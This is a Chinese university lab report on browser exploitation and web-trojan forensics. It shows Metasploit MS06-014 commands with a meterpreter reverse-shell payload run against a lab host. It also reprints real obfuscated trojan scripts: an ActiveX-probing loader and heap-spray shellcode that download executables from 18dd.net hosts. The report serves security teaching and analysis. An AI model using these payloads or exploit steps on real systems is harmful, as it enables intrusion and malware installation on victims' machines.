1. 程式人生 > 其它 >20212920 許邵 2021-2022-2 《網路攻防實踐》實踐十一報告

20212920 許邵 2021-2022-2 《網路攻防實踐》實踐十一報告

20212920 許邵 2021-2022-2 《網路攻防實踐》實踐十一報告

1.實踐內容

總結一下本週學習內容並介紹下實踐內容,不要複製貼上

1.1 任務介紹

1)web瀏覽器滲透攻擊

任務:使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。

實驗步驟:
①選擇使用Metasploit中的MS06-014滲透攻擊模組
②選擇PAYLOAD為任意遠端Shell連線
③設定伺服器地址和URL引數,執行exploit,構造出惡意網頁木馬指令碼
④在靶機環境中啟動瀏覽器,驗證與伺服器的連通性,並訪問而已網頁木馬指令碼URL
⑤在攻擊機的Metasploit軟體中檢視滲透攻擊狀態,並通過成功滲透攻擊後建立起的遠端控制會話SESSION,在靶機上遠端執行命令

(2)取證分析實踐—網頁木馬攻擊場景分析
實踐過程:
①首先你應該訪問start.html,在這個檔案中給出了new09.htm的地址,
②在進入 htm 後,每解密出一個檔案地址,請對其作 32 位 MD5 雜湊,以雜湊值為檔名到 http://192.168.68.253/scom/hashed/雜湊值 下去下載對應的檔案(注意:檔名中的英文字母為小寫,且沒有副檔名),即為解密出的地址對應的檔案。
③如果解密出的地址給出的是網頁或指令碼檔案,請繼續解密。
④如果解密出的地址是二進位制程式檔案,請進行靜態反彙編或動態除錯。
⑤重複以上過程直到這些檔案被全部分析完成。

(3)攻防對抗實踐—web瀏覽器滲透攻擊攻防
攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼,並進行混淆處理之後組裝成一個URL,通過具有欺騙性的電子郵件傳送給防守方。
防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態,並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。

1.2 知識拓展

1.2.1 現代瀏覽器的基本結構與機理

目前的現代WEB瀏覽器要求能夠理解和支援HTML和XHTML、CSS、ECMAScript以及W3C Document Object Model(DOM)等一系列標準。基本結構如下圖:

現代瀏覽器軟體除了在核心引擎內實現符合各種標準的基本功能之外,普遍採用了各種擴充套件機制允許第三方開發出一些外掛。

1.2.2 Web瀏覽的安全問題與威脅

  • 安全困境三要素:複雜性、可擴充套件性、連通性。
  • Web瀏覽安全威脅位置分佈有:針對傳輸網路的網路協議安全威脅、針對Web瀏覽端系統平臺的安全威脅、針對Web瀏覽器軟體以及外掛程式的滲透攻擊威脅、針對網際網路使用者的社會工程學攻擊威脅。其中,最流行的威脅——網頁木馬、網站釣魚屬於後兩種。

1.2.3 網頁木馬

網頁木馬是一種利用瀏覽器的安全漏洞,掛接在網頁上的惡意指令碼。本質上是瀏覽器滲透攻擊。
網頁木馬採用的是客戶端滲透攻擊的方式,需要web瀏覽端軟體來訪問構造的惡意web頁面內容,才可能觸發滲透攻擊過程。因此,網頁木馬是一種被動攻擊,需要通過技術手段誘使網際網路使用者訪問木馬頁面。
實施網頁木馬攻擊往往會涉及較為複雜的多步驟攻擊場景,需要多種型別的惡意程式碼及網路資源。
網頁木馬的攻擊技術過程如下圖所示:

通過上述過程構造的木馬具有區別於傳統二進位制惡意程式碼的特性:

  • 多樣化的客戶端滲透攻擊位置和技術型別
  • 分散式、複雜的微觀連結結構
  • 靈活多變的混淆與對抗分析能力

網頁木馬的檢測與分析

  • 基於特徵碼匹配的傳統檢測方法
  • 基於統計與機器學習的靜態分析方法
  • 基於動態行為結果判定的檢測分析方法
  • 基於模擬瀏覽器環境的動態分析檢測方法

1.2.4 網路釣魚

網路釣魚是社會工程學在網際網路中廣泛實施的一種典型攻擊方式,通過大量傳送聲稱來自於銀行或其他知名機構的欺騙性垃圾郵件,意圖引導收信人給出個人敏感資訊(如使用者名稱、口令、賬號ID、PIN碼或信用卡詳細資訊等)。

網路釣魚攻擊的普遍技術流程:

  • 攻擊者掃描網段,尋找存有漏洞的伺服器
  • 伺服器被攻陷,並被安裝一個Rootkit或口令保護的後門工具
  • 攻擊者從加密的後門工具獲得對伺服器的訪問權,並下載已經構建完畢的釣魚網站內容
  • 攻擊者大規模散發欺騙性資訊
  • 訪問者進入假冒的釣魚網站,受到欺騙給出個人敏感資訊,攻擊者通過後臺服務指令碼收集敏感資訊

對於使用者來說,網路釣魚攻擊的防範措施包括:

  • 提高警惕性
  • 充分使用瀏覽器軟體、網路安全廠商提供的反釣魚網站功能特性
  • 務必重視要訪問的網站的真實性,不要點選來路不明的連結
  • 通過學習和修煉提升自己抵抗社會工程學攻擊的能力

2.實踐過程

2.1 web瀏覽器滲透攻擊

在攻擊機上開啟metasploit。
1.選擇MS06-014為攻擊的漏洞。
使用search ms06-014命令搜尋ms06-014漏洞模組。

只有一個選項:exploit/windows/browser/ie_createobject,選擇它。命令:use windows/browser/ie_createobject
使用命令:set payload windows/meterpreter/reverse_tcp設定負載為windows/meterpreter/reverse_tcp。

2.設定攻擊目標
檢視靶機的IP地址為192.168.233.124。

使用命令set RHOST 192.168.233.124設定靶機地址。
攻擊機的IP地址為192.168.233.4。

設定攻擊機地址,命令:set LHOST 192.168.233.4

3.開始滲透攻擊
使用命令exploit,開始滲透攻擊。

我們看到,伺服器使用的URL為:http://192.168.233.4:8080/kuiTSH
在靶機上,用瀏覽器開啟它。

瀏覽器中出現了一串字元。

返回攻擊機,發現會話成功建立。

4.使用會話
輸入命令:sessions,檢視建立的會話。

使用sessions -i 1,即可進入會話。
在會話中,我們可以執行靶機中的命令。

2.2 網頁木馬攻擊取證分析

提示:本實驗要用到的程式碼均在老師發的《網頁掛馬分析實踐參考》上了
另外,要分析的程式均在《網路攻防技術與實踐》附帶的光碟中的壓縮包《網頁掛馬分析實踐-解壓密碼virus.zip》中了
大家可以從這個連結中下載:
連結: https://pan.baidu.com/s/15Bk_zST80aw1VUDALGWupA 提取碼: twm7
(網盤中的壓縮包含有start.html和new09.htm的原始碼,解壓縮時無需密碼)

2.2.1 第一階段:網頁原始碼分析

我們先搜尋start.html中包含new09.htm的位置。


不難看出,new09.htm與start.html是在同一路徑下的。
我們再開啟new09.htm。

我們可以得到兩個地址:http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js
我們進行32位MD5運算。

MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3
MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3

按照說明,我們應該下載這兩個檔案:

http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3  

由於我這裡連線不上192.168.68.253這個伺服器,這一節中所有的下載操作全部省略了。改成從上文提到的壓縮包中的original資料夾下直接提取。

其他檔案的下載操作也是如此。

開啟第一個檔案1299644.js,內容為:

開啟第二個檔案kl.htm,內容為:

可見,第二個檔案是javascript檔案,只是加密了。
從這一部分程式碼中可以看到:這個檔案使用了xxtea分組密碼演算法進行了加密。

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

裡面提到的變數t就是那個超級長的base64字串,而\x73\x63\x72\x69\x70\x74應該是金鑰。
先對\x73\x63\x72\x69\x70\x74進行十六進位制解密(網址:https://tool.lu/hexstr/ ),得到了金鑰:script

使用金鑰script對那個超長的字串進行解密,得到明文。

解密後的明文
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

再對其進行hexdecode,得到:

解碼後的原始碼
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

分析這些原始碼,不難看出:

對上述提到的網頁求雜湊值

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

然後按照http://192.168.68.253/scom/hashed/**MD5值**的格式下載檔案,得到1.js、b.js、pps.js、bd.cab這四個檔案。接下來依次對這些檔案進行分析。

2.2.2 第二階段:引出的js檔案分析

1.js

包含十六進位制字串,對其進行hexdecode,得

這個檔案會下載一個名為014.exe的可執行檔案。

b.js

為了解密,我們不妨將前面的eval改成alert,然後用script標籤包裹起來,將其改成htm檔案,檢視返回的字元。

返回的字元
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

出現了全是'%u'的字串,應該是shellcode。
我們使用指令碼工具FreShow對該字串進行兩次解碼。

第一次解碼得到了十六進位制字串。

在第二次解碼得到的結果中出現了下面的字元:

GetProc"+"AddressGetSyste"+"mDirectoryAWinE"+"xecExitThreadL"+"oadLibraryAurlm"+"onURLDownloadTo"+"FileAhttp://down.18dd.net/bb/bf.exe

分析得出,這個檔案會從http://down.18dd.net/bb/bf.exe,將一個名叫bf.exe檔案下載下來。

pps.js

這個pps.js是一個八進位制加密檔案。使用FreShow解碼三次解碼(解碼選擇ESC模式)。(在第一次解碼後,單擊“向上”,即可將解碼後的結果當做下一次要解碼的資料)

第一次解碼,得到全是%u的字串和部分正常顯示的字串,容易得知這是shellcode編碼。

可以看到,在第三次解碼後的資料中,找到了一條連結:http://down.18dd.net/bb/pps.exe 。該連結會下載pps.exe檔案。

bd.cab

bd.cab是一個壓縮檔案,將該檔案進行解壓縮,可得到bd.exe檔案。

對上述三個連結求MD5值:

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

然後按照http://192.168.68.253/scom/hashed/**MD5值**的格式下載檔案,得到014.exe、bf.exe、pps.exe這三個可執行檔案。

2.2.3 第三階段:可執行檔案的分析

其實,這些可執行檔案可以在上文中提到的壓縮包內找到。
根據前人分析,我們得到的這四個exe檔案是完全一樣的。我們以分析pps.exe為例。
先檢視PEiD,發現該程式是用Delphi語言寫的。

用IDA進行反編譯。

在Strings Window中發現了20個用於下載exe檔案的連結。

還有一些其他的軟體行為。

嘗試將這個程式和下載出來的1~20.exe檔案使用防毒軟體進行掃描,防毒軟體報告稱:發現了病毒。

他們說:pps.exe是一種Worm/Autorun.r病毒;而1~20.exe這20個程式是病毒HVM:Trojan/MalBehav.gen!B。
查詢可知,Worm/Autorun.r是一種蠕蟲病毒,HVM:Trojan/MalBehav.gen!B是一種木馬病毒。

2.3 Web瀏覽器滲透攻擊攻防

作為攻擊方

為了分析攻擊指令碼,我們重複實踐一的過程,將產生的連結發給防禦方。

進入會話,執行ipconfig命令,發現該命令獲取到了靶機的IP地址。

作為防守方

在靶機上用瀏覽器開啟攻擊機給出的連結後,檢視惡意頁面的原始碼。

使用Wireshark抓包也可以得到頁面的原始碼。

出現了很多的空格,我們再用壓縮格式化工具http://www.esjson.com/htmlformat.html 去進行壓縮格式化。

在函式nObxCOehUDjALSkcV中,我們看到了這個攻擊網頁會將可執行檔案QHJujypkTRKJGCfkZa.exe安裝到靶機上,還使用了"WScript.Shell"和"ADODB.Stream"兩個漏洞。

開啟靶機的工作管理員,發現確實有QHJujypkTRKJGCfkZa.exe這個程序。估計這就是攻擊方用來滲透靶機的病毒程式。

我們結束這個程序,讓攻擊方在會話中執行ipconfig命令,攻擊方發現:命令出錯了。

在函式uLdZCTrDBfe()中出現了一串陣列。

再往下翻,可知這是漏洞的ID號。比如說:ID為BD96C556-65A3-11D0-983A-00C04FC29E36的漏洞,就屬於MS06-014漏洞。

總結:如果我們使用另一個漏洞實現滲透攻擊,那麼傳送的頁面的函式結構、植入的攻擊程式的原理應該是一樣的,唯一不同的只是呼叫的漏洞介面、引數。如果我們把這幾個漏洞呼叫的介面、引數整合以下,就可以實現混淆攻擊。

3.實踐總結

在本次實踐中,我們對幾個典型的木馬病毒和釣魚網站進行了復現,深刻體會到了網路木馬和釣魚網站的危害性。另外本次實驗難度較大、複雜性較高,需要我們精心準備、細緻規劃、耐心操作,還要求我們具有一定程度的HTML、JavaScript等前端語言的掌握能力。